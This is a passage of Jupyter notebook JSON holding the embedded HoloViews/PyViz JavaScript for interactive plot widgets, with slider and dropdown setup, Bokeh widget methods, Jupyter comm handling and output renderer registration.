{},\\n\",\n       \"    noConflict;\\n\",\n       \"  var jQueryUI = jQuery.ui;\\n\",\n       \"  // check for jQuery\\n\",\n       \"  if (!jQuery || oldjQuery) {\\n\",\n       \"    // load if it's not available or doesn't meet min standards\\n\",\n       \"    paths.jQuery = jQuery;\\n\",\n       \"    noConflict = !!oldjQuery;\\n\",\n       \"  } else {\\n\",\n       \"    // register the current jQuery\\n\",\n       \"    define('jquery', [], function() { return jQuery; });\\n\",\n       \"  }\\n\",\n       \"  if (!jQueryUI) {\\n\",\n       \"    paths.jQueryUI = jQueryUI_CDN.slice(null, -3);\\n\",\n       \"  } else {\\n\",\n       \"    define('jQueryUI', [], function() { return jQuery.ui; });\\n\",\n       \"  }\\n\",\n       \"  paths.underscore = UNDERSCORE_CDN.slice(null, -3);\\n\",\n       \"  var jquery_require = {\\n\",\n       \"    paths: paths,\\n\",\n       \"    shim: {\\n\",\n       \"      \\\"jQueryUI\\\": {\\n\",\n       \"        exports:\\\"$\\\",\\n\",\n       \"        deps: ['jquery']\\n\",\n       \"      },\\n\",\n       \"      \\\"underscore\\\": {\\n\",\n       \"        exports: '_'\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"  require.config(jquery_require);\\n\",\n       \"  require([\\\"jQueryUI\\\", \\\"underscore\\\"], function(jUI, _){\\n\",\n       \"    if (noConflict) $.noConflict(true);\\n\",\n       \"    var vals = values;\\n\",\n       \"    if (dynamic && vals.constructor === Array) {\\n\",\n       \"      var default_value = parseFloat(value);\\n\",\n       \"      var min = parseFloat(vals[0]);\\n\",\n       \"      var max = parseFloat(vals[vals.length-1]);\\n\",\n       \"      var wstep = step;\\n\",\n       \"      var wlabels = [default_value];\\n\",\n       \"      var init_label = default_value;\\n\",\n       \"    } else {\\n\",\n       \"      var min = 0;\\n\",\n       \"      if (dynamic) {\\n\",\n       \"        var max = Object.keys(vals).length - 1;\\n\",\n       \"        var init_label = labels[value];\\n\",\n       \"        var default_value = values[value];\\n\",\n       \"      } else {\\n\",\n       \"        var max = vals.length - 1;\\n\",\n       \"        var init_label = labels[value];\\n\",\n       \"        var default_value = value;\\n\",\n       \"      }\\n\",\n       \"      var wstep = 1;\\n\",\n       \"      var wlabels = labels;\\n\",\n       \"    }\\n\",\n       \"    function adjustFontSize(text) {\\n\",\n       \"      var width_ratio = (text.parent().width()/8)/text.val().length;\\n\",\n       \"      var size = Math.min(0.9, Math.max(0.6, width_ratio))+'em';\\n\",\n       \"      text.css('font-size', size);\\n\",\n       \"    }\\n\",\n       \"    var slider = $('#_anim_widget'+id+'_'+dim);\\n\",\n       \"    slider.slider({\\n\",\n       \"      animate: \\\"fast\\\",\\n\",\n       \"      min: min,\\n\",\n       \"      max: max,\\n\",\n       \"      step: wstep,\\n\",\n       \"      value: default_value,\\n\",\n       \"      dim_vals: vals,\\n\",\n       \"      dim_labels: wlabels,\\n\",\n       \"      next_vals: next_vals,\\n\",\n       \"      slide: function(event, ui) {\\n\",\n       \"        var vals = slider.slider(\\\"option\\\", \\\"dim_vals\\\");\\n\",\n       \"        var next_vals = slider.slider(\\\"option\\\", \\\"next_vals\\\");\\n\",\n       \"        var dlabels = slider.slider(\\\"option\\\", \\\"dim_labels\\\");\\n\",\n       \"        if (dynamic) {\\n\",\n       \"          var dim_val = ui.value;\\n\",\n       \"          if (vals.constructor === Array) {\\n\",\n       \"            var label = ui.value;\\n\",\n       \"          } else {\\n\",\n       \"            var label = dlabels[ui.value];\\n\",\n       \"          }\\n\",\n       \"        } else {\\n\",\n       \"          var dim_val = vals[ui.value];\\n\",\n       \"          var label = dlabels[ui.value];\\n\",\n       \"        }\\n\",\n       \"        var text = $('#textInput'+id+'_'+dim);\\n\",\n       \"        text.val(label);\\n\",\n       \"        adjustFontSize(text);\\n\",\n       \"        HoloViews.index[plot_id].set_frame(dim_val, dim_idx);\\n\",\n       \"        if (Object.keys(next_vals).length > 0) {\\n\",\n       \"          var new_vals = next_vals[dim_val];\\n\",\n       \"          var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n\",\n       \"          update_widget(next_widget, new_vals);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"    });\\n\",\n       \"    slider.keypress(function(event) {\\n\",\n       \"      if (event.which == 80 || event.which == 112) {\\n\",\n       \"        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n\",\n       \"        var stop =  slider.slider(\\\"option\\\", \\\"max\\\");\\n\",\n       \"        for (var i=start; i<=stop; i++) {\\n\",\n       \"          var delay = i*delay;\\n\",\n       \"          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n\",\n       \"            var val = {value:i};\\n\",\n       \"            slider.slider('value',i);\\n\",\n       \"            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n\",\n       \"          }, slider), delay);}, slider)(i);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"      if (event.which == 82 || event.which == 114) {\\n\",\n       \"        var start = slider.slider(\\\"option\\\", \\\"value\\\");\\n\",\n       \"        var stop =  slider.slider(\\\"option\\\", \\\"min\\\");\\n\",\n       \"        var count = 0;\\n\",\n       \"        for (var i=start; i>=stop; i--) {\\n\",\n       \"          var delay = count*delay;\\n\",\n       \"          count = count + 1;\\n\",\n       \"          $.proxy(function doSetTimeout(i) { setTimeout($.proxy(function() {\\n\",\n       \"            var val = {value:i};\\n\",\n       \"            slider.slider('value',i);\\n\",\n       \"            slider.slider(\\\"option\\\", \\\"slide\\\")(null, val);\\n\",\n       \"          }, slider), delay);}, slider)(i);\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"    });\\n\",\n       \"    var textInput = $('#textInput'+id+'_'+dim)\\n\",\n       \"    textInput.val(init_label);\\n\",\n       \"    adjustFontSize(textInput);\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function init_dropdown(id, plot_id, dim, vals, value, next_vals, labels, next_dim, dim_idx, dynamic) {\\n\",\n       \"  var widget = $(\\\"#_anim_widget\\\"+id+'_'+dim);\\n\",\n       \"  widget.data('values', vals)\\n\",\n       \"  for (var i=0; i<vals.length; i++){\\n\",\n       \"    if (dynamic) {\\n\",\n       \"      var val = vals[i];\\n\",\n       \"    } else {\\n\",\n       \"      var val = i;\\n\",\n       \"    }\\n\",\n       \"    widget.append($(\\\"<option>\\\", {\\n\",\n       \"      value: val,\\n\",\n       \"      text: labels[i]\\n\",\n       \"    }));\\n\",\n       \"  };\\n\",\n       \"  widget.data(\\\"next_vals\\\", next_vals);\\n\",\n       \"  widget.val(value);\\n\",\n       \"  widget.on('change', function(event, ui) {\\n\",\n       \"    if (dynamic) {\\n\",\n       \"      var dim_val = parseInt(this.value);\\n\",\n       \"    } else {\\n\",\n       \"      var dim_val = $.data(this, 'values')[this.value];\\n\",\n       \"    }\\n\",\n       \"    var next_vals = $.data(this, \\\"next_vals\\\");\\n\",\n       \"    if (Object.keys(next_vals).length > 0) {\\n\",\n       \"      var new_vals = next_vals[dim_val];\\n\",\n       \"      var next_widget = $('#_anim_widget'+id+'_'+next_dim);\\n\",\n       \"      update_widget(next_widget, new_vals);\\n\",\n       \"    }\\n\",\n       \"    var widgets = HoloViews.index[plot_id]\\n\",\n       \"    if (widgets) {\\n\",\n       \"      widgets.set_frame(dim_val, dim_idx);\\n\",\n       \"    }\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"if (window.HoloViews === undefined) {\\n\",\n       \"  window.HoloViews = {}\\n\",\n       \"  window.PyViz = window.HoloViews\\n\",\n       \"} else if (window.PyViz === undefined) {\\n\",\n       \"  window.PyViz = window.HoloViews\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"\\n\",\n       \"var _namespace = {\\n\",\n       \"  init_slider: init_slider,\\n\",\n       \"  init_dropdown: init_dropdown,\\n\",\n       \"  comms: {},\\n\",\n       \"  comm_status: {},\\n\",\n       \"  index: {},\\n\",\n       \"  plot_index: {},\\n\",\n       \"  kernels: {},\\n\",\n       \"  receivers: {}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"for (var k in _namespace) {\\n\",\n       \"  if (!(k in window.HoloViews)) {\\n\",\n       \"    window.HoloViews[k] = _namespace[k];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Define Bokeh specific subclasses\\n\",\n       \"function BokehSelectionWidget() {\\n\",\n       \"  SelectionWidget.apply(this, arguments);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function BokehScrubberWidget() {\\n\",\n       \"  ScrubberWidget.apply(this, arguments);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Let them inherit from the baseclasses\\n\",\n       \"BokehSelectionWidget.prototype = Object.create(SelectionWidget.prototype);\\n\",\n       \"BokehScrubberWidget.prototype = Object.create(ScrubberWidget.prototype);\\n\",\n       \"\\n\",\n       \"// Define methods to override on widgets\\n\",\n       \"var BokehMethods = {\\n\",\n       \"  update_cache : function(){\\n\",\n       \"    for (var index in this.frames) {\\n\",\n       \"      this.frames[index] = JSON.parse(this.frames[index]);\\n\",\n       \"    }\\n\",\n       \"  },\\n\",\n       \"  update : function(current){\\n\",\n       \"    if (current === undefined) {\\n\",\n       \"      return;\\n\",\n       \"    }\\n\",\n       \"    var data = this.frames[current];\\n\",\n       \"    if (data !== undefined) {\\n\",\n       \"      if (data.root in HoloViews.plot_index) {\\n\",\n       \"        var doc = HoloViews.plot_index[data.root].model.document;\\n\",\n       \"      } else {\\n\",\n       \"        var doc = Bokeh.index[data.root].model.document;\\n\",\n       \"      }\\n\",\n       \"      doc.apply_json_patch(data.content);\\n\",\n       \"    }\\n\",\n       \"  },\\n\",\n       \"  init_comms: function() {\\n\",\n       \"    if (Bokeh.protocol !== undefined) {\\n\",\n       \"      this.receiver = new Bokeh.protocol.Receiver()\\n\",\n       \"    } else {\\n\",\n       \"      this.receiver = null;\\n\",\n       \"    }\\n\",\n       \"    return HoloViewsWidget.prototype.init_comms.call(this);\\n\",\n       \"  },\\n\",\n       \"  process_msg : function(msg) {\\n\",\n       \"    if (this.plot_id in HoloViews.plot_index) {\\n\",\n       \"      var doc = HoloViews.plot_index[this.plot_id].model.document;\\n\",\n       \"    } else {\\n\",\n       \"      var doc = Bokeh.index[this.plot_id].model.document;\\n\",\n       \"    }\\n\",\n       \"    if (this.receiver === null) { return }\\n\",\n       \"    var receiver = this.receiver;\\n\",\n       \"    if (msg.buffers.length > 0) {\\n\",\n       \"      receiver.consume(msg.buffers[0].buffer)\\n\",\n       \"    } else {\\n\",\n       \"      receiver.consume(msg.content.data)\\n\",\n       \"    }\\n\",\n       \"    const comm_msg = receiver.message;\\n\",\n       \"    if ((comm_msg != null) && (doc != null)) {\\n\",\n       \"      doc.apply_json_patch(comm_msg.content, comm_msg.buffers)\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"// Extend Bokeh widgets with backend specific methods\\n\",\n       \"extend(BokehSelectionWidget.prototype, BokehMethods);\\n\",\n       \"extend(BokehScrubberWidget.prototype, BokehMethods);\\n\",\n       \"\\n\",\n       \"window.HoloViews.BokehSelectionWidget = BokehSelectionWidget\\n\",\n       \"window.HoloViews.BokehScrubberWidget = BokehScrubberWidget\\n\",\n       \"\\n\",\n       \"    function JupyterCommManager() {\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    JupyterCommManager.prototype.register_target = function(plot_id, comm_id, msg_handler) {\\n\",\n       \"      if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n\",\n       \"        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n\",\n       \"        comm_manager.register_target(comm_id, function(comm) {\\n\",\n       \"          comm.on_msg(msg_handler);\\n\",\n       \"        });\\n\",\n       \"      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n\",\n       \"        window.PyViz.kernels[plot_id].registerCommTarget(comm_id, function(comm) {\\n\",\n       \"          comm.onMsg = msg_handler;\\n\",\n       \"        });\\n\",\n       \"      }\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    JupyterCommManager.prototype.get_client_comm = function(plot_id, comm_id, msg_handler) {\\n\",\n       \"      if (comm_id in window.PyViz.comms) {\\n\",\n       \"        return window.PyViz.comms[comm_id];\\n\",\n       \"      } else if (window.comm_manager || ((window.Jupyter !== undefined) && (Jupyter.notebook.kernel != null))) {\\n\",\n       \"        var comm_manager = window.comm_manager || Jupyter.notebook.kernel.comm_manager;\\n\",\n       \"        var comm = comm_manager.new_comm(comm_id, {}, {}, {}, comm_id);\\n\",\n       \"        if (msg_handler) {\\n\",\n       \"          comm.on_msg(msg_handler);\\n\",\n       \"        }\\n\",\n       \"      } else if ((plot_id in window.PyViz.kernels) && (window.PyViz.kernels[plot_id])) {\\n\",\n       \"        var comm = window.PyViz.kernels[plot_id].connectToComm(comm_id);\\n\",\n       \"        comm.open();\\n\",\n       \"        if (msg_handler) {\\n\",\n       \"          comm.onMsg = msg_handler;\\n\",\n       \"        }\\n\",\n       \"      }\\n\",\n       \"\\n\",\n       \"      window.PyViz.comms[comm_id] = comm;\\n\",\n       \"      return comm;\\n\",\n       \"    }\\n\",\n       \"\\n\",\n       \"    window.PyViz.comm_manager = new JupyterCommManager();\\n\",\n       \"    \\n\",\n       \"\\n\",\n       \"var JS_MIME_TYPE = 'application/javascript';\\n\",\n       \"var HTML_MIME_TYPE = 'text/html';\\n\",\n       \"var EXEC_MIME_TYPE = 'application/vnd.holoviews_exec.v0+json';\\n\",\n       \"var CLASS_NAME = 'output';\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Render data to the DOM node\\n\",\n       \" */\\n\",\n       \"function render(props, node) {\\n\",\n       \"  var div = document.createElement(\\\"div\\\");\\n\",\n       \"  var script = document.createElement(\\\"script\\\");\\n\",\n       \"  node.appendChild(div);\\n\",\n       \"  node.appendChild(script);\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle when a new output is added\\n\",\n       \" */\\n\",\n       \"function handle_add_output(event, handle) {\\n\",\n       \"  var output_area = handle.output_area;\\n\",\n       \"  var output = handle.output;\\n\",\n       \"  if (!output.data.hasOwnProperty(EXEC_MIME_TYPE)) {\\n\",\n       \"    return\\n\",\n       \"  }\\n\",\n       \"  var id = output.metadata[EXEC_MIME_TYPE][\\\"id\\\"];\\n\",\n       \"  var toinsert = output_area.element.find(\\\".\\\" + CLASS_NAME.split(' ')[0]);\\n\",\n       \"  if (id !== undefined) {\\n\",\n       \"    var nchildren = toinsert.length;\\n\",\n       \"    toinsert[nchildren-1].children[0].innerHTML = output.data[HTML_MIME_TYPE];\\n\",\n       \"    toinsert[nchildren-1].children[1].textContent = output.data[JS_MIME_TYPE];\\n\",\n       \"    output_area._hv_plot_id = id;\\n\",\n       \"    if ((window.Bokeh !== undefined) && (id in Bokeh.index)) {\\n\",\n       \"      PyViz.plot_index[id] = Bokeh.index[id];\\n\",\n       \"    } else {\\n\",\n       \"      PyViz.plot_index[id] = null;\\n\",\n       \"    }\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle when an output is cleared or removed\\n\",\n       \" */\\n\",\n       \"function handle_clear_output(event, handle) {\\n\",\n       \"  var id = handle.cell.output_area._hv_plot_id;\\n\",\n       \"  if ((id === undefined) || !(id in PyViz.plot_index)) { return; }\\n\",\n       \"  var comm = window.PyViz.comm_manager.get_client_comm(\\\"hv-extension-comm\\\", \\\"hv-extension-comm\\\", function () {});\\n\",\n       \"  if (comm !== null) {\\n\",\n       \"    comm.send({event_type: 'delete', 'id': id});\\n\",\n       \"  }\\n\",\n       \"  delete PyViz.plot_index[id];\\n\",\n       \"  if ((window.Bokeh !== undefined) & (id in window.Bokeh.index)) {\\n\",\n       \"    window.Bokeh.index[id].model.document.clear();\\n\",\n       \"    delete Bokeh.index[id];\\n\",\n       \"  }\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle kernel restart event\\n\",\n       \" */\\n\",\n       \"function handle_kernel_cleanup(event, handle) {\\n\",\n       \"  delete PyViz.comms[\\\"hv-extension-comm\\\"];\\n\",\n       \"  window.PyViz.plot_index = {}\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"/**\\n\",\n       \" * Handle update_display_data messages\\n\",\n       \" */\\n\",\n       \"function handle_update_output(event, handle) {\\n\",\n       \"  handle_clear_output(event, {cell: {output_area: handle.output_area}})\\n\",\n       \"  handle_add_output(event, handle)\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"function register_renderer(events, OutputArea) {\\n\",\n       \"  function append_mime(data, metadata, element) {\\n\",\n       \"    // create a DOM node to render to\\n\",\n       \"    var toinsert = this.create_output_subarea(\\n\",\n       \"    metadata,\\n\",\n       \"    CLASS_NAME,\\n\",\n       \"    EXEC_MIME_TYPE\\n\",\n       \"    );\\n\",\n       \"    this.keyboard_manager.register_events(toinsert);\\n\",\n       \"    // Render to node\\n\",\n       \"    var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\\n\",\n       \"    render(props, toinsert[0]);\\n\",\n       \"    element.append(toinsert);\\n\",\n       \"    return toinsert\\n\",\n       \"  }\\n\",\n       \"\\n\",\n       \"  events.on('output_added.OutputArea', handle_add_output);\\n\",\n       \"  events.on('output_updated.OutputArea', handle_update_output);\\n\",\n       \"  events.on('clear_output.CodeCell', handle_clear_output);\\n\",\n       \"  events.on('delete.Cell', handle_clear_output);\\n\",\n       \"  events.on('kernel_ready.Kernel', handle_kernel_cleanup);\\n\",\n       \"\\n\",\n       \"  OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\\n\",\n       \"    safe: true,\\n\",\n       \"    index: 0\\n\",\n       \"  });\\n\",\n       \"}\\n\",\n       \"\\n\",\n       \"if (window.Jupyter !== undefined) {\\n\",\n       \"  try {\\n\",\n       \"    var events = require('base/js/events');\\n\",\n       \"    var OutputArea = require('notebook/js/outputarea').OutputArea;\\n\",\n       \"    if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\\n\",\n       \"      register_renderer(events, OutputArea);\\n\",\n       \"    }\\n\",\n       \"  } catch(err) {\\n\",\n       \"  }\\n\",\n       \"}\\n\"\n      ],\n      \"application/vnd.holoviews_load.v0+json\": \"function HoloViewsWidget() {\\n}\\n\\nHoloViewsWidget.prototype.init_slider = function(init_val){\\n  if(this.load_json) {\\n    this.from_json()\\n  } else {\\n    this.update_cache();\\n  }\\n}\\n\\nHoloViewsWidget.prototype.populate_cache = function(idx){\\n  this.cache[idx].innerHTML = this.frames[idx];\\n  if (this.embed) {\\n    delete this.frames[idx];\\n  }\\n}\\n\\nHoloViewsWidget.prototype.process_error = function(msg){\\n}\\n\\nHoloViewsWidget.prototype.from_json = function() {\\n  var data_url = this.json_path + this.id + '.json';\\n  $.getJSON(data_url, $.proxy(function(json_data) {\\n    this.frames = json_data;\\n    this.update_cache();\\n    this.update(0);\\n  }, this));\\n}\\n\\nHoloViewsWidget.prototype.dynamic_update = function(current){\\n  if (current === undefined) {\\n    return\\n  }\\n  this.current = current;\\n  if (this.comm) {\\n    var msg = {comm_id: this.id+'_client', content: current}\\n    this.comm.send(msg);\\n  }\\n}\\n\\nHoloViewsWidget.prototype.update_cache = function(force){\\n  var frame_len = Object.keys(this.frames).length;\\n  for (var i=0; i<frame_len; i++) {\\n    if(!this.load_json || this.dynamic)  {\\n      var frame = Object.keys(this.frames)[i];\\n    } else {\\n      var frame = i;\\n    }\\n    if(!(frame in this.cache) || force) {\\n      if ((frame in this.cache) && force) { this.cache[frame].remove() }\\n      var div = document.createElement(\\\"div\\\");\\n      var parent = document.getElementById(\\\"_anim_img\\\"+this.id);\\n      div.style.display = \\\"none\\\";\\n      parent.appendChild(div)\\n      this.cache[frame] = div;\\n      var cache_id = \\\"_anim_img\\\"+this.id+\\\"_\\\"+frame;\\n      this.populate_cache(frame);\\n    }\\n  }\\n}\\n\\nHoloViewsWidget.prototype.update = function(current){\\n  if(current in this.cache) {\\n    for (var index in this.cache) {\\n      this.cache[index].style.display = \\\"none\\\";\\n    }\\n    this.cache[current].style.display = \\\"\\\";\\n    this.wait = false;\\n  }\\n}\\n\\nHoloViewsWidget.prototype.init_comms = function() {\\n  var that = this\\n  HoloViews.comm_manager.register_target(this.plot_id, this.id, function (msg) { that.process_msg(msg) })\\n  if (!this.cached || this.dynamic) {\\n    function ack_callback(msg) {\\n      msg = JSON.parse(msg.content.data);\\n      var comm_id = msg[\\\"comm_id\\\"]\\n      var comm_status = HoloViews.comm_status[comm_id];\\n      if (that.queue.length > 0) {\\n        that.time = Date.now();\\n        that.dynamic_update(that.queue[that.queue.length-1]);\\n        that.queue = [];\\n      } else {\\n        that.wait = false;\\n      }\\n      if ((msg.msg_type == \\\"Ready\\\") && msg.content) {\\n        console.log(\\\"Python callback returned following output:\\\", msg.content);\\n      } else if (msg.msg_type == \\\"Error\\\") {\\n        console.log(\\\"Python failed with the following traceback:\\\", msg['traceback'])\\n      }\\n    }\\n    var comm = HoloViews.comm_manager.get_client_comm(this.plot_id, this.id+'_client', ack_callback);\\n    return comm\\n  }\\n}\\n\\nHoloViewsWidget.prototype.process_msg = function(msg) {\\n}\\n\\nfunction SelectionWidget(frames, id, slider_ids, keyMap, dim_vals, notFound, load_json, mode, cached, json_path, dynamic, plot_id){\\n  this.frames = frames;\\n  this.id = id;\\n  this.plot_id = plot_id;\\n  this.slider_ids = slider_ids;\\n  this.keyMap = keyMap\\n  this.current_frame = 0;\\n  this.current_vals = dim_vals;\\n  this.load_json = load_json;\\n  this.mode = mode;\\n  this.notFound = notFound;\\n  this.cached = cached;\\n  this.dynamic = dynamic;\\n  this.cache = {};\\n  this.json_path = json_path;\\n  this.init_slider(this.current_vals[0]);\\n  this.queue = [];\\n  this.wait = false;\\n  if (!this.cached || this.dynamic) {\\n    this.comm = this.init_comms();\\n  }\\n}\\n\\nSelectionWidget.prototype = new HoloViewsWidget;\\n\\n\\nSelectionWidget.prototype.get_key = function(current_vals) {\\n  var key = \\\"(\\\";\\n  for (var i=0; i<this.slider_ids.length; i++)\\n  {\\n    var val = this.current_vals[i];\\n    if (!(typeof val === 'string')) {\\n      if (val % 1 === 0) { val = val.toFixed(1); }\\n      else { val = val.toFixed(10); val = val.slice(0, val.length-1);}\\n    }\\n    key += \\\"'\\\" + val + \\\"'\\\";\\n    if(i != this.slider_ids.length-1) { key += ', ';}\\n    else if(this.slider_ids.length == 1) { key += ',';}\\n  }\\n  key += \\\")\\\";\\n  return this.keyMap[key];\\n}\\n\\nSelectionWidget.prototype.set_frame = function(dim_val, dim_idx){\\n  this.current_vals[dim_idx] = dim_val;\\n  var key = this.current_vals;\\n  if (!this.dynamic) {\\n    key = this.get_key(key)\\n  }\\n  if (this.dynamic || !this.cached) {\\n    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n      this.queue.push(key);\\n      return\\n    }\\n    this.queue = [];\\n    this.time = Date.now();\\n    this.current_frame = key;\\n    this.wait = true;\\n    this.dynamic_update(key)\\n  } else if (key !== undefined) {\\n    this.update(key)\\n  }\\n}\\n\\n\\n/* Define the ScrubberWidget class */\\nfunction ScrubberWidget(frames, num_frames, id, interval, load_json, mode, cached, json_path, dynamic, plot_id){\\n  this.slider_id = \\\"_anim_slider\\\" + id;\\n  this.loop_select_id = \\\"_anim_loop_select\\\" + id;\\n  this.id = id;\\n  this.plot_id = plot_id;\\n  this.interval = interval;\\n  this.current_frame = 0;\\n  this.direction = 0;\\n  this.dynamic = dynamic;\\n  this.timer = null;\\n  this.load_json = load_json;\\n  this.mode = mode;\\n  this.cached = cached;\\n  this.frames = frames;\\n  this.cache = {};\\n  this.length = num_frames;\\n  this.json_path = json_path;\\n  document.getElementById(this.slider_id).max = this.length - 1;\\n  this.init_slider(0);\\n  this.wait = false;\\n  this.queue = [];\\n  if (!this.cached || this.dynamic) {\\n    this.comm = this.init_comms()\\n  }\\n}\\n\\nScrubberWidget.prototype = new HoloViewsWidget;\\n\\nScrubberWidget.prototype.set_frame = function(frame){\\n  this.current_frame = frame;\\n  var widget = document.getElementById(this.slider_id);\\n  if (widget === null) {\\n    this.pause_animation();\\n    return\\n  }\\n  widget.value = this.current_frame;\\n  if (this.dynamic || !this.cached) {\\n    if ((this.time !== undefined) && ((this.wait) && ((this.time + 10000) > Date.now()))) {\\n      this.queue.push(frame);\\n      return\\n    }\\n    this.queue = [];\\n    this.time = Date.now();\\n    this.wait = true;\\n    this.dynamic_update(frame)\\n  } else {\\n    this.update(frame)\\n  }\\n}\\n\\nScrubberWidget.prototype.get_loop_state = function(){\\n  var button_group = document[this.loop_select_id].state;\\n  for (var i = 0; i < button_group.length; i++) {\\n    var button = button_group[i];\\n    if (button.checked) {\\n      return button.value;\\n    }\\n  }\\n  return undefined;\\n}\\n\\n\\nScrubberWidget.prototype.next_frame = function() {\\n  this.set_frame(Math.min(this.length - 1, this.current_frame + 1));\\n}\\n\\nScrubberWidget.prototype.previous_frame = function() {\\n  this.set_frame(Math.max(0, this.current_frame - 1));\\n}\\n\\nScrubberWidget.prototype.first_frame = function() {\\n  this.set_frame(0);\\n}\\n\\nScrubberWidget.prototype.last_frame = function() {\\n  this.set_frame(this.length - 1);\\n}\\n\\nScrubberWidget.prototype.slower = function() {\\n  this.interval /= 0.7;\\n  if(this.direction > 0){this.play_animation();}\\n  else if(this.direction < 0){this.reverse_animation();}\\n}\\n\\nScrubberWidget.prototype.faster = function() {\\n  this.interval *= 0.7;\\n  if(this.direction > 0){this.play_animation();}\\n  else if(this.direction < 0){this.reverse_animation();}\\n}\\n\\nScrubberWidget.prototype.anim_step_forward = function() {\\n  if(this.current_frame < this.length - 1){\\n    this.next_frame();\\n  }else{\\n    var loop_state = this.get_loop_state();\\n    if(loop_state == \\\"loop\\\"){\\n      this.first_frame();\\n    }else if(loop_state == \\\"reflect\\\"){\\n      this.last_frame();\\n      this.reverse_animation();\\n    }else{\\n      this.pause_animation();\\n      this.last_frame();\\n    }\\n  }\\n}\\n\\nScrubberWidget.prototype.anim_step_reverse = function() {\\n  if(this.current_frame > 0){\\n    this.previous_frame();\\n  } else {\\n    var loop_state = this.get_loop_state();\\n    if(loop_state == \\\"loop\\\"){\\n      this.last_frame();\\n    }else if(loop_state == \\\"reflect\\\"){\\n      this.first_frame();\\n      this.play_animation();\\n    }else{\\n      this.pause_animation();\\n      this.first_frame();\\n    }\\n  }\\n}\\n\\nScrubberWidget.prototype.pause_animation = function() {\\n  this.direction = 0;\\n  if (this.timer){\\n    clearInterval(this.timer);\\n    this.timer = null;\\n  }\\n}\\n\\nScrubberWidget.prototype.play_animation = function() {\\n  this.pause_animation();\\n  this.direction = 1;\\n  var t = this;\\n  if (!this.timer) this.timer = setInterval(function(){t.anim_step_forward();}, this.interval);\\n}\\n\\nScrubberWidget.prototype.reverse_animation = function() {\\n  this.pause_animation();\\n  this.direction = -1;\\n  var t = this;\\n  if (!this.timer) this.timer = setInterval(function(){t.anim_step_reverse();}, this.interval);\\n}\\n\\nfunction extend(destination, source) {\\n  for (var k in source) {\\n    if (source.hasOwnProperty(k)) {\\n      destination[k] = source[k];\\n    }\\n  }\\n  return destination;\\n}\\n\\nfunction update_widget(widget, values) {\\n  if (widget.hasClass(\\\"ui-slider\\\")) {\\n    widget.slider('option', {\\n      min: 0,\\n      max: values.length-1,\\n      dim_vals: values,\\n      value: 0,\\n      dim_labels: values\\n    })\\n    widget.slider('option', 'slide').call(widget, event, {value: 0})\\n  } else {\\n    widget.empty();\\n    for (var i=0; i<values.length; i++){\\n      widget.append($(\\\"<option>\\\", {\\n        value: i,\\n        text: values[i]\\n      }))\\n    };\\n    widget.data('values', values);\\n    widget.data('value', 0);\\n    widget.trigger(\\\"change\\\");\\n  };\\n}\\n\\nfunction init_slider(id, plot_id, dim, values, next_vals, labels, dynamic, step, value, next_dim,\\n                     dim_idx, delay, jQueryUI_CDN, UNDERSCORE_CDN) {\\n  // Slider JS Block START\\n  function loadcssfile(filename){\\n    var fileref=document.createElement(\\\"link\\\")\\n    fileref.setAttribute(\\\"rel\\\", \\\"stylesheet\\\")\\n    fileref.setAttribute(\\\"type\\\", \\\"text/css\\\")\\n    fileref.setAttribute(\\\"href\\\", filename)\\n    document.getElementsByTagName(\\\"head\\\")[0].appendChild(fileref)\\n  }\\n  loadcssfile(\\\"https://code.jquery.com/ui/1.10.4/themes/smoothness/jquery-ui.css\\\");\\n  /* Check if jQuery and jQueryUI have been loaded\\n     otherwise load with require.js */\\n  var jQuery = window.jQuery,\\n    // check for old versions of jQuery\\n    oldjQuery = jQuery && !!jQuery.fn.jquery.match(/^1\\\\.[0-4](\\\\.|$)/),\\n    jquery_path = '',\\n    paths = {},\\n    noConflict;\\n  var jQueryUI = jQuery.ui;\\n  // check for jQuery\\n  if (!jQuery || oldjQuery) {\\n    // load if it's not available or doesn't meet min standards\\n    paths.jQuery = jQuery;\\n    noConflict = !!oldjQuery;\\n  } else {\\n    // register the current jQuery\\n    define('jquery', [], function() { return jQuery; });\\n  }\\n  if (!jQueryUI) {\\n    paths.jQueryUI = jQueryUI_CDN.slice(null, -3);\\n  } else {\\n    define('jQueryUI', [], function() { return jQuery.ui; });\\n  }\\n  paths.underscore = UNDERSCORE_CDN.slice(null, -3);\\n  var jquery_require = {\\n    paths: paths,\\n    shim: {\\n      \\\"jQueryUI\\\": {\\n        exports:\\\"$\\\",\\n        deps: ['jquery']\\n      },\\n      \\\"underscore\\\": {\\n        exports: 